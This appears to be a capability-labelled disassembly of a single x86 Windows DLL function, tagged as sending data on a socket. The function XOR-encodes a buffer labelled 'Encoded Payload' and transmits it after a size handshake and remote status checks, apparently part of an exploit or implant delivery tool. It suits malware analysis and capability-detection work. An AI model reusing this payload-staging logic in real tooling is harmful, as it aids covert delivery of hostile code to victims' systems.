Function at 0x100014f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
push esi
push eax
push 0x10006430
push 5
push ecx
mov dword [esp + 0x18], 0
call sub.tucl_1.dll_TcLog
movzx edx, byte [ebx + 0x24]
mov eax, dword [ebx + 0xc]
push edx
push str._t___Payload_XOR_Mask:__d_n
push 5
push eax
call sub.tucl_1.dll_TcLog
mov ecx, dword [ebx + 0xc]
push 0x100063ec
push 5
push ecx
call sub.tucl_1.dll_TcLog
mov eax, dword [ebx + 0x18]
mov edx, dword [ebx + 0xc]
push eax
push eax
push str._t_t___Size:__d__0x_08x__n
push 5
push edx
mov dword [esp + 0x48], eax
call sub.tucl_1.dll_TcLog
mov ecx, dword [ebx + 8]
add esp, 0x40
push 0
push 4
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
cmp esi, 4
je 0x10001586
mov edx, dword [ebx + 0xc]
push 0x100063bc
push 3
push edx
call sub.tucl_1.dll_TcLog
add esp, 0xc
jmp 0x10001721
mov eax, dword [ebx + 0xc]
push str._t_t___Checking_Remote_Status_n
push 5
push eax
call sub.tucl_1.dll_TcLog
mov esi, dword [ebx + 8]
mov dx, word [ebx + 0x2c]
push 0
lea ecx, [esp + 0x20]
push 4
push ecx
call fcn.10001400
mov esi, eax
add esp, 0x18
cmp esi, 4
je 0x100015ce
mov edx, dword [ebx + 0xc]
push esi
push str._t_t____Recv_Failed__Retval:__d_n
push 3
push edx
call sub.tucl_1.dll_TcLog
add esp, 0x10
jmp 0x10001721
lea eax, [esp + 0x10]
push eax
call fcn.10004710
add esp, 4
test eax, eax
je 0x100015f8
mov ecx, dword [ebx + 0xc]
push eax
push 0x1000635c
push 3
push ecx
call sub.tucl_1.dll_TcLog
add esp, 0x10
jmp 0x10001721
mov edx, dword [ebx + 0xc]
push ebp
push edi
push 0x10006340
push 5
push edx
call sub.tucl_1.dll_TcLog
mov edi, dword [ebx + 0x18]
push edi
call dword [sym.imp.msvcrt.dll_malloc]
mov ebp, eax
mov eax, dword [ebx + 0x14]
push edi
push eax
push ebp
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebx + 0xc]
push edi
push ebp
push 0x10006334
push 6
push ecx
call sub.tucl_1.dll_TcLogBuffer
movzx edx, byte [ebx + 0x24]
push edx
push edi
push ebp
call sub.trfo_2.dll_TfXorBuffer
mov eax, dword [ebx + 0xc]
push edi
push ebp
push str.Encoded_Payload
push 6
push eax
call sub.tucl_1.dll_TcLogBuffer
mov ecx, dword [ebx + 0xc]
add esp, 0x50
push 0x10006304
push 5
push ecx
call sub.tucl_1.dll_TcLog
mov edx, dword [ebx + 8]
push 0
push ebp
push edx
call fcn.100014a0
mov esi, eax
add esp, 0x18
cmp esi, edi
je 0x10001691
mov eax, dword [ebx + 0xc]
push 0x100063bc
push 3
push eax
call sub.tucl_1.dll_TcLog
add esp, 0xc
jmp 0x10001711
mov ecx, dword [ebx + 0xc]
push str._t_t___Checking_Remote_Status_n
push 5
push ecx
call sub.tucl_1.dll_TcLog
mov esi, dword [ebx + 8]
push 0
lea edx, [esp + 0x28]
push 4
push edx
mov dx, word [ebx + 0x2c]
call fcn.10001400
mov esi, eax
add esp, 0x18
cmp esi, 4
je 0x100016d5
mov eax, dword [ebx + 0xc]
push 0x100062f0
push 3
push eax
call sub.tucl_1.dll_TcLog
add esp, 0xc
jmp 0x10001711
lea ecx, [esp + 0x18]
push ecx
call fcn.10004710
add esp, 4
test eax, eax
je 0x100016fc
mov edx, dword [ebx + 0xc]
push eax
push 0x1000635c
push 3
push edx
call sub.tucl_1.dll_TcLog
add esp, 0x10
jmp 0x10001711
mov eax, dword [ebx + 0xc]
push 0x10006340
push 5
push eax
call sub.tucl_1.dll_TcLog
add esp, 0xc
xor esi, esi
test ebp, ebp
je 0x1000171f
push ebp
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pop edi
pop ebp
mov ebx, dword [ebx + 0x14]
test ebx, ebx
je 0x10001731
push ebx
call sub.msvcrt.dll_free
add esp, 4
mov eax, esi
pop esi
pop ebx
pop ecx
ret